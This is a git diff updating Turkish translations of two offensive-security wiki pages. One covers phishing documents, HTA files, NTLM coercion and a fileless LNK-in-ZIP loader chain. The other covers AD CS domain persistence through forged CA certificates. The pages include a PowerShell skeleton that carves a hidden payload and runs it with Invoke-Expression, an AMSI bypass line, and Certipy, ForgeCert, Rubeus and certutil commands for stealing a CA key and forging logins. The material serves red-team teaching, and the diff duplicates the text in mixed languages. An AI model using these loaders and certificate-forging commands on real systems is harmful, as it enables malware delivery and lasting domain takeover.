Tamamlandığında, **Save as type** açılır menüsünü seçin, formatı **`.docx`**'den **Word 97-2003 `.doc`**'e değiştirin.\
|
||||
Bunun nedeni, **you **can't save macro's inside a `.docx`** ve macro-enabled **`.docm`** uzantısı etrafında bir **stigma** olmasıdır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta ağ geçitleri bunları tamamen engeller). Bu nedenle, bu **legacy `.doc` extension is the best compromise**.
|
||||
|
||||
#### Kötü Amaçlı Macro Generator'ları
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Dosyaları
|
||||
## HTA Files
|
||||
|
||||
HTA, **HTML ve betik dillerini (ör. VBScript ve JScript) birleştiren** bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam yetkili" bir uygulama olarak çalıştırılır.
|
||||
HTA, HTML ile betik dillerini (ör. VBScript ve JScript) birleştiren bir Windows programıdır. Kullanıcı arayüzünü üretir ve bir tarayıcının güvenlik modeli kısıtlamaları olmadan "fully trusted" bir uygulama olarak çalıştırılır.
|
||||
|
||||
HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **yüklüdür** ve **Internet Explorer** ile birlikte gelir, bu da **`mshta`'yı IE'ye bağımlı** kılar. Yani IE kaldırıldıysa, HTA'lar çalıştırılamaz.
|
||||
Bir HTA, genellikle **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **Internet Explorer** ile birlikte **installed** olur ve bu da **`mshta` dependant on IE** olmasını sağlar. Bu nedenle Internet Explorer kaldırıldıysa, HTA'lar çalıştırılamaz.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,9 +138,9 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## NTLM Authentication'ı Zorlamak
|
||||
## NTLM Kimlik Doğrulamasını Zorlama
|
||||
|
||||
NTLM authentication'ı "remotely" **force** etmenin birkaç yolu vardır; örneğin, kullanıcı erişeceği e-postalara veya HTML'e **invisible images** ekleyebilirsiniz (hatta HTTP MitM?). Veya mağdura sadece klasörü açmak için bir **authentication** tetikleyecek dosyaların **address of files**'ını gönderebilirsiniz.
|
||||
NTLM kimlik doğrulamasını **"uzaktan"** zorlamanın birkaç yolu vardır; örneğin, kullanıcının erişeceği e-postalara veya HTML'e **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Veya kurbana, klasörü **açmak**la **tetiklenecek** **bir kimlik doğrulamasını** başlatacak **dosya adresleri** gönderebilirsiniz.
|
||||
|
||||
**Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda inceleyin:**
|
||||
|
||||
@ -156,24 +156,24 @@ NTLM authentication'ı "remotely" **force** etmenin birkaç yolu vardır; örne
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Unutmayın: yalnızca hash'i veya **authentication**'ı çalamakla kalmayıp, aynı zamanda **perform NTLM relay attacks** da gerçekleştirebilirsiniz:
|
||||
Hash'i veya kimlik doğrulamayı çalmanın yanı sıra, ayrıca **NTLM relay attacks** gerçekleştirebileceğinizi unutmayın:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Oldukça etkili kampanyalar, iki meşru decoy belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP teslim eder. Hile şudur: gerçek PowerShell loader, ZIP’in ham bytes'larının içinde benzersiz bir marker'dan sonra saklanır ve .lnk bunu carve edip tamamen hafızada çalıştırır.
|
||||
Oldukça etkili kampanyalar, içinde iki meşru sahte belge (PDF/DOCX) ve kötü amaçlı bir .lnk bulunan bir ZIP gönderir. Hile şudur: gerçek PowerShell loader, ZIP'in ham baytlarının içinde benzersiz bir işaretçiden sonra saklanır ve .lnk bunu bellekte çıkarır ve tamamen çalıştırır.
|
||||
|
||||
Tipik akış, .lnk PowerShell one-liner tarafından uygulanır:
|
||||
. ln k tek satırlık PowerShell tarafından uygulanan tipik akış:
|
||||
|
||||
1) Orijinal ZIP'i yaygın dizinlerde bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve mevcut çalışma dizininin parent'i.
|
||||
2) ZIP bytes'larını okuyun ve sert kodlanmış bir marker bulun (ör. xFIQCV). Marker'dan sonraki her şey gömülü PowerShell payload'dır.
|
||||
3) ZIP'i %ProgramData% içine kopyalayın, orada çıkartın ve meşru görünmek için decoy .docx'i açın.
|
||||
4) Geçerli process için AMSI'yi bypass edin: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Bir sonraki aşamayı deobfuscate edin (ör. tüm # karakterlerini kaldırın) ve hafızada execute edin.
|
||||
1) Orijinal ZIP'i yaygın yollar içinde bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve şu anki çalışma dizininin üst dizini.
|
||||
2) ZIP baytlarını okuyun ve sabit kodlu bir işaretçi bulun (ör. xFIQCV). İşaretçiden sonraki her şey gömülü PowerShell payload'ıdır.
|
||||
3) ZIP'i %ProgramData% içine kopyalayın, orada çıkarın ve meşru görünmesi için sahte .docx'i açın.
|
||||
4) Mevcut işlem için AMSI'yi atlayın: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Bir sonraki aşamadaki obfuskasyonu kaldırın (ör. tüm # karakterlerini silin) ve bellekte çalıştırın.
|
||||
|
||||
Gömülü aşamayı carve edip çalıştırmak için örnek PowerShell iskeleti:
|
||||
Gömülü aşamayı çıkarıp çalıştırmak için örnek PowerShell iskeleti:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notlar
|
||||
- Teslimat genellikle saygın PaaS alt alan adlarını (ör. *.herokuapp.com) kötüye kullanır ve payloads'a erişimi kısıtlayabilir (IP/UA'ya göre zararsız ZIPs sunarak).
|
||||
- Bir sonraki aşama genellikle base64/XOR shellcode'u çözer ve disk izlerini azaltmak için Reflection.Emit + VirtualAlloc ile çalıştırır.
|
||||
- Teslimat genellikle saygın PaaS alt alan adlarını (ör. *.herokuapp.com) kötüye kullanır ve payload'ları gate'leyebilir (IP/UA'ya göre zararsız ZIP'ler sunar).
|
||||
- Bir sonraki aşama sık sık base64/XOR shellcode'u çözer ve disk izlerini en aza indirmek için Reflection.Emit + VirtualAlloc aracılığıyla çalıştırır.
|
||||
|
||||
Aynı zincirde kullanılan Persistence
|
||||
- Microsoft Web Browser control üzerinde COM TypeLib hijacking uygulanarak, IE/Explorer veya kontrolü gömülü kullanan herhangi bir uygulama payload'ı otomatik olarak yeniden başlatır. Ayrıntılar ve hazır komutlar için bakınız:
|
||||
Aynı zincirde kullanılan persistence
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- Arşiv verisine eklenmiş ASCII marker string (ör. xFIQCV) içeren ZIP dosyaları.
|
||||
- .lnk, ZIP'yi bulmak için üst/kullanıcı klasörlerini tarar ve bir decoy document açar.
|
||||
- AMSI'ye müdahale [System.Management.Automation.AmsiUtils]::amsiInitFailed ile.
|
||||
- Güvenilir PaaS domain'leri altında barındırılan linklerle sonlanan uzun süre çalışan business thread'leri.
|
||||
- Arşiv verisinin sonuna eklenmiş ASCII marker string (ör. xFIQCV) içeren ZIP dosyaları.
|
||||
- ZIP'i bulmak için üst/kullanıcı klasörlerini listeleyen ve bir aldatıcı doküman açan .lnk.
|
||||
- AMSI'ye müdahale via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Uzun süre çalışan business thread'ler güvenilir PaaS domain'lerinde barındırılan linklerle sona erer.
|
||||
|
||||
## NTLM hash'lerini çalmak için Windows dosyaları
|
||||
|
||||
Şu sayfaya bakın: **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -1,27 +1,27 @@
|
||||
# AD CS Domain Kalıcılığı
|
||||
# AD CS Etki Alanı Kalıcılığı
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu, [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) adresinde paylaşılan domain kalıcılığı tekniklerinin bir özetidir.** Daha fazla detay için kontrol edin.
|
||||
**Bu, [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) adresinde paylaşılan etki alanı kalıcılığı tekniklerinin bir özetidir. Daha fazla ayrıntı için belgeye bakın.**
|
||||
|
||||
## Çalıntı CA Sertifikalarıyla Sertifika Üretme - DPERSIST1
|
||||
## Çalınmış CA Sertifikaları ile Sertifika Sahteleme - DPERSIST1
|
||||
|
||||
Bir sertifikanın CA sertifikası olduğunu nasıl anlarsınız?
|
||||
|
||||
Bir sertifikanın CA sertifikası olduğu, birkaç koşul sağlandığında belirlenebilir:
|
||||
Bir sertifikanın CA sertifikası olduğu, aşağıdaki koşullar sağlanıyorsa anlaşılır:
|
||||
|
||||
- Sertifika CA sunucusunda depolanır; özel anahtarı makinenin DPAPI'si tarafından veya işletim sistemi destekliyorsa TPM/HSM gibi donanım tarafından korunur.
|
||||
- Sertifika CA sunucusunda saklanır ve özel anahtarı makinenin DPAPI'si tarafından korunur veya işletim sistemi destekliyorsa TPM/HSM gibi donanım tarafından korunur.
|
||||
- Sertifikanın Issuer ve Subject alanlarının her ikisi de CA'nın distinguished name'i ile eşleşir.
|
||||
- Sadece CA sertifikalarında bulunan bir "CA Version" uzantısı mevcuttur.
|
||||
- Sertifika Extended Key Usage (EKU) alanlarından yoksundur.
|
||||
- CA sertifikalarında yalnızca "CA Version" uzantısı bulunur.
|
||||
- Sertifikada Extended Key Usage (EKU) alanları yoktur.
|
||||
|
||||
Bu sertifikanın özel anahtarını çıkarmak için CA sunucusundaki `certsrv.msc` aracı, yerleşik GUI aracılığıyla desteklenen yöntemdir. Yine de, bu sertifika sistemde depolanan diğerlerinden farklı değildir; bu nedenle çıkarma için [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) gibi yöntemler uygulanabilir.
|
||||
Bu sertifikanın özel anahtarını çıkarmak için CA sunucusundaki `certsrv.msc` aracı, yerleşik GUI üzerinden desteklenen yöntemdir. Yine de, bu sertifika sistemde saklanan diğer sertifikalardan farklı değildir; bu yüzden [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) gibi yöntemler kullanılarak da çıkarılabilir.
|
||||
|
||||
Sertifika ve özel anahtar ayrıca Certipy kullanılarak şu komutla elde edilebilir:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
CA sertifikası ve özel anahtarını `.pfx` formatında elde ettikten sonra, [ForgeCert](https://github.com/GhostPack/ForgeCert) gibi araçlar geçerli sertifikalar oluşturmak için kullanılabilir:
|
||||
CA sertifikası ile `.pfx` formatındaki özel anahtarını ele geçirdikten sonra, [ForgeCert](https://github.com/GhostPack/ForgeCert) gibi araçlar geçerli sertifikalar oluşturmak için kullanılabilir:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,18 +36,18 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> Sertifika sahtekarlığına hedeflenen kullanıcı, işlemin başarılı olması için Active Directory'de aktif olmalı ve kimlik doğrulaması yapabilecek durumda olmalıdır. krbtgt gibi özel hesaplar için sertifika düzenlemek etkisizdir.
|
||||
> Sertifika sahtelemesi hedeflenen kullanıcının Active Directory'de aktif ve kimlik doğrulaması yapabilir durumda olması gerekir; aksi takdirde işlem başarılı olmaz. krbtgt gibi özel hesaplar için sertifika sahteleme etkisizdir.
|
||||
|
||||
Bu sahte sertifika, belirtilen bitiş tarihine kadar ve root CA sertifikası geçerli olduğu sürece (genellikle 5 ila **10+ yıl**) **geçerli** olacaktır. Ayrıca **makineler** için de geçerlidir, bu yüzden **S4U2Self** ile birleştirildiğinde bir saldırgan CA sertifikası geçerli olduğu sürece herhangi bir domain makinesinde **persistence** sürdürebilir.\ Ayrıca, bu yöntemle oluşturulan **sertifikalar** CA tarafından haberdar edilmediği için **iptal edilemez**.
|
||||
Bu sahte sertifika belirtilen bitiş tarihine kadar **geçerli** olacaktır ve **kök CA sertifikası geçerli olduğu sürece** (genellikle 5 ile **10+ yıl** arası) geçerlidir. Ayrıca **makineler** için de geçerlidir, bu nedenle **S4U2Self** ile birleştiğinde bir saldırgan **CA sertifikası geçerli olduğu sürece herhangi bir etki alanı makinesinde kalıcılığı sürdürebilir**.\ Ayrıca, bu yöntemle oluşturulan **sertifikalar** CA bunlardan haberdar olmadığından **iptal edilemez**.
|
||||
|
||||
### Strong Certificate Mapping Enforcement (2025+) altında çalışma
|
||||
### Güçlü Sertifika Eşleme Zorlaması (2025+) altında çalışma
|
||||
|
||||
11 Şubat 2025'ten itibaren (KB5014754 dağıtımından sonra), domain controllers varsayılan olarak sertifika eşlemeleri için **Full Enforcement** modunu kullanır. Pratikte bu, sahte sertifikalarınızın ya şunlardan biri olması gerektiği anlamına gelir:
|
||||
11 Şubat 2025'ten beri (KB5014754 dağıtımından sonra), domain denetleyicileri sertifika eşlemeleri için varsayılan olarak **Full Enforcement** durumundadır. Pratikte bu, sahte sertifikalarınızın ya:
|
||||
|
||||
- Hedef hesaba güçlü bir bağlama içermeli (örneğin, SID security extension), veya
|
||||
- Hedef nesnenin `altSecurityIdentities` attribute'unda güçlü, açık bir eşleme ile eşleştirilmiş olmalı.
|
||||
- Hedef hesaba güçlü bir bağlama içermesi (örneğin, SID güvenlik uzantısı), veya
|
||||
- Hedef nesnenin `altSecurityIdentities` özniteliğinde güçlü, açık bir eşleme ile eşleştirilmiş olması gerektiği anlamına gelir.
|
||||
|
||||
Persistence için güvenilir bir yaklaşım, çalınmış Enterprise CA'ya zincirlenmiş sahte bir sertifika düzenlemek ve ardından mağdur principal'a güçlü, açık bir eşleme eklemektir:
|
||||
Kalıcılık için güvenilir bir yaklaşım, çalınmış Enterprise CA'ya zincirlenmiş sahte bir sertifika düzenlemek ve ardından kurban principal'e güçlü, açık bir eşleme eklemektir:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -56,14 +56,14 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Notlar
|
||||
- Eğer SID güvenlik uzantısını içeren sahte sertifikalar oluşturabiliyorsanız, bunlar Full Enforcement altında bile örtük olarak eşlenecektir. Aksi takdirde, açık güçlü eşlemeleri tercih edin. Açık eşlemeler hakkında daha fazla bilgi için [account-persistence](account-persistence.md) bakın.
|
||||
- İptal işlemi savunmacılara burada yardımcı olmaz: sahte sertifikalar CA veritabanında bilinmediğinden iptal edilemez.
|
||||
- Eğer SID security extension'ı içeren sahte sertifikalar oluşturabiliyorsanız, bunlar Full Enforcement altında bile örtük olarak eşlenecektir. Aksi halde, açık ve güçlü eşlemeleri tercih edin. Açık eşleştirmeler hakkında daha fazla bilgi için [account-persistence](account-persistence.md) sayfasına bakın.
|
||||
- İptal (revocation) burada savunmacılara yardımcı olmaz: sahte sertifikalar CA veritabanında bilinmez olduğu için iptal edilemez.
|
||||
|
||||
## Sahte CA Sertifikalarına Güvenme - DPERSIST2
|
||||
## Kötü Amaçlı CA Sertifikalarına Güvenme - DPERSIST2
|
||||
|
||||
`NTAuthCertificates` nesnesi, Active Directory (AD) tarafından kullanılan `cacertificate` özniteliği içinde bir veya daha fazla **CA certificates** içerecek şekilde tanımlanmıştır. Doğrulama süreci **domain controller** tarafından, kimlik doğrulayan **certificate**'ın Issuer alanında belirtilen **CA specified** ile eşleşen bir giriş olup olmadığını `NTAuthCertificates` nesnesinde kontrol etmeyi içerir. Eşleşme bulunursa kimlik doğrulama devam eder.
|
||||
`NTAuthCertificates` nesnesi, Active Directory (AD) tarafından kullanılan `cacertificate` özniteliği içinde bir veya daha fazla **CA certificates** içerecek şekilde tanımlanmıştır. **domain controller** tarafından yapılan doğrulama işlemi, kimlik doğrulayan **certificate**'ın Issuer alanında belirtilen **CA specified** ile eşleşen bir giriş için `NTAuthCertificates` nesnesini kontrol etmeyi içerir. Eşleşme bulunursa kimlik doğrulama devam eder.
|
||||
|
||||
Bir saldırgan, bu AD nesnesi üzerinde kontrole sahipse `NTAuthCertificates` nesnesine self-signed bir CA sertifikası ekleyebilir. Normalde, yalnızca **Enterprise Admin** grubunun üyeleri ile **Domain Admins** veya **Administrators**'ın **forest root’s domain** içindeki üyeleri bu nesneyi değiştirme iznine sahiptir. `NTAuthCertificates` nesnesini `certutil.exe` ile `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` komutunu kullanarak ya da [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) aracını kullanarak düzenleyebilirler.
|
||||
Bir saldırgan, bu AD nesnesi üzerinde kontrole sahipse `NTAuthCertificates` nesnesine self-signed bir CA sertifikası ekleyebilir. Normalde bu nesneyi değiştirme izni yalnızca **Enterprise Admin** grubunun üyeleri ile birlikte **Domain Admins** veya **Administrators**'ın **forest root’s domain** içindeki üyelerine verilir. `NTAuthCertificates` nesnesini `certutil.exe` ile `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` komutunu kullanarak veya [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) aracını kullanarak düzenleyebilirler.
|
||||
|
||||
Bu teknik için faydalı ek komutlar:
|
||||
```bash
|
||||
@ -76,31 +76,31 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Bu yetenek, ForgeCert kullanılarak dinamik olarak sertifika oluşturmayı içeren daha önce açıklanmış bir yöntemle birlikte kullanıldığında özellikle önemlidir.
|
||||
Bu yetenek, ForgeCert ile dinamik olarak sertifika üretmeyi içeren daha önce açıklanan yöntemle birlikte kullanıldığında özellikle önemlidir.
|
||||
|
||||
> Post-2025 eşleme hususları: bir rogue CA'yı NTAuth içine yerleştirmek yalnızca yayımlayan CA'ya güven oluşturur. DC'ler **Full Enforcement** durumundayken leaf sertifikaları ile oturum açmak için leaf ya SID güvenlik uzantısını içermeli ya da hedef nesnede güçlü, açık bir eşleme bulunmalıdır (örneğin Issuer+Serial `altSecurityIdentities`). Bkz. {{#ref}}account-persistence.md{{#endref}}.
|
||||
> 2025 sonrası eşleme hususları: NTAuth içine rogue CA yerleştirmek sadece düzenleyen CA'ya güven oluşturur. DC'ler Full Enforcement modundayken yaprak (leaf) sertifikaları oturum açma için kullanmak için, yaprak ya SID güvenlik uzantısını içermeli ya da hedef nesnede güçlü bir açık eşleme olmalıdır (örneğin, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Kötü Amaçlı Yanlış Yapılandırma - DPERSIST3
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
|
||||
AD CS bileşenlerinin güvenlik tanımlayıcısı (security descriptor) değişiklikleri yoluyla **persistence** fırsatları bol miktarda mevcuttur. "[Domain Escalation](domain-escalation.md)" bölümünde açıklanan değişiklikler, domaine yükseltilmiş erişimi olan bir saldırgan tarafından kötü amaçla uygulanabilir. Bu, aşağıdaki gibi hassas bileşenlere "control rights" (ör. WriteOwner/WriteDACL/etc.) eklemeyi içerir:
|
||||
AD CS bileşenlerinin security descriptor değişiklikleriyle elde edilebilecek **persistence** fırsatları bol miktarda vardır. "[Domain Escalation](domain-escalation.md)" bölümünde tanımlanan değişiklikler, yükseltilmiş erişime sahip bir saldırgan tarafından kötü amaçlı şekilde uygulanabilir. Buna "control rights" eklenmesi (ör. WriteOwner/WriteDACL/etc.) gibi hassas bileşenlere yetki verme dahildir; örneğin:
|
||||
|
||||
- **CA server’s AD computer** nesnesi
|
||||
- **CA server’s RPC/DCOM server**
|
||||
- **CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>** içinde herhangi bir **alt AD nesnesi veya container** (ör. Certificate Templates container, Certification Authorities container, NTAuthCertificates object vb.)
|
||||
- Varsayılan veya organizasyon tarafından AD CS'yi kontrol etme hakları delege edilen **AD grupları** (ör. built-in Cert Publishers grubu ve üyeleri)
|
||||
- CA sunucusunun AD bilgisayar nesnesi
|
||||
- CA sunucusunun RPC/DCOM servisi
|
||||
- `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` içindeki herhangi bir alt AD nesnesi veya container (örneğin, Certificate Templates container, Certification Authorities container, NTAuthCertificates nesnesi vb.)
|
||||
- Varsayılan veya kuruluş tarafından AD CS'yi kontrol etme hakları devredilmiş AD grupları (ör. yerleşik Cert Publishers grubu ve üyeleri)
|
||||
|
||||
Kötü amaçlı bir uygulama örneğinde, domain içinde **yükseltilmiş izinleri** olan bir saldırgan, varsayılan **`User`** sertifika şablonuna **`WriteOwner`** iznini ekleyebilir ve bu hakkın sahibi olarak kendisini atayabilir. Bunu istismar etmek için saldırgan önce **`User`** şablonunun sahipliğini kendine geçirir. Ardından şablonda **`mspki-certificate-name-flag`** 1 olarak ayarlanır ve böylece **`ENROLLEE_SUPPLIES_SUBJECT`** etkinleştirilir; bu, istekte Subject Alternative Name sağlanmasına izin verir. Takiben saldırgan, şablonu kullanarak **enroll** olur, alternatif ad olarak bir **domain administrator** ismi seçer ve elde ettiği sertifikayı DA olarak kimlik doğrulama için kullanır.
|
||||
Kötü amaçlı bir uygulama örneği, domain içinde yükseltilmiş izne sahip bir saldırganın varsayılan `User` sertifika şablonuna `WriteOwner` iznini eklemesi ve bu hakkın sahibi olarak kendisini atamasıdır. Bunu istismar etmek için saldırgan önce `User` şablonunun sahipliğini kendisine geçirir. Ardından şablonda `mspki-certificate-name-flag` 1 olarak ayarlanır ve `ENROLLEE_SUPPLIES_SUBJECT` etkinleştirilir; bu, istekte bulunan kullanıcının bir Subject Alternative Name sağlamasına izin verir. Sonrasında saldırgan şablonu kullanarak enroll edebilir, alternatif ad olarak bir domain administrator adını seçebilir ve elde ettiği sertifikayı DA olarak kimlik doğrulama için kullanabilir.
|
||||
|
||||
Saldırganların uzun vadeli domain persistence için ayarlayabileceği pratik kontroller (tam detaylar ve tespit için bkz. {{#ref}}domain-escalation.md{{#endref}}):
|
||||
Uzun vadeli domain persistence için saldırganların ayarlayabileceği pratik kontroller (tam ayrıntılar ve tespit için bakınız {{#ref}}domain-escalation.md{{#endref}}):
|
||||
|
||||
- İstek sahiplerinden SAN kabul eden CA politika bayrakları (ör. `EDITF_ATTRIBUTESUBJECTALTNAME2` etkinleştirilmesi). Bu, ESC1-like yolların istismar edilebilir kalmasını sağlar.
|
||||
- Kimlik doğrulamaya uygun düzenlemeye izin veren şablon DACL veya ayarları (ör. Client Authentication EKU eklemek, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkinleştirmek).
|
||||
- Savunucular temizlemeye çalışsa bile rogue yayımlayıcıları sürekli yeniden tanıtmak için `NTAuthCertificates` nesnesi veya CA container'larını kontrol etme.
|
||||
- İstemcilerden SAN kabul eden CA politika flag'leri (ör. `EDITF_ATTRIBUTESUBJECTALTNAME2`'nin etkinleştirilmesi). Bu, ESC1-benzeri yolların istismar edilebilir kalmasını sağlar.
|
||||
- Kimlik doğrulama yapabilen sertifika verilmesine izin veren Template DACL veya ayarları (ör. Client Authentication EKU eklemek, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`'i etkinleştirmek).
|
||||
- Savunucular temizleme yapmaya çalışırsa rogue issuer'ları sürekli yeniden tanıtmak için `NTAuthCertificates` nesnesini veya CA container'larını kontrol etme.
|
||||
|
||||
> [!TIP]
|
||||
> KB5014754 sonrası sertleştirilmiş ortamlarda, bu yanlış yapılandırmaları açık, güçlü eşlemeler (`altSecurityIdentities`) ile eşleştirmek, DC'ler güçlü eşlemeyi uygulasalar bile verdiğiniz veya sahtelediğiniz sertifikaların kullanılabilir kalmasını sağlar.
|
||||
> KB5014754 sonrası sertleştirilmiş ortamlarda, bu yanlış yapılandırmaları açık ve güçlü eşlemelerle (`altSecurityIdentities`) eşleştirmek, DC'ler güçlü eşlemeyi zorladığında bile verdiğiniz veya sahtelediğiniz sertifikaların kullanılabilir kalmasını sağlar.
|
||||
|
||||
## Kaynaklar
|
||||
## Referanslar
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
Loading…
x
Reference in New Issue
Block a user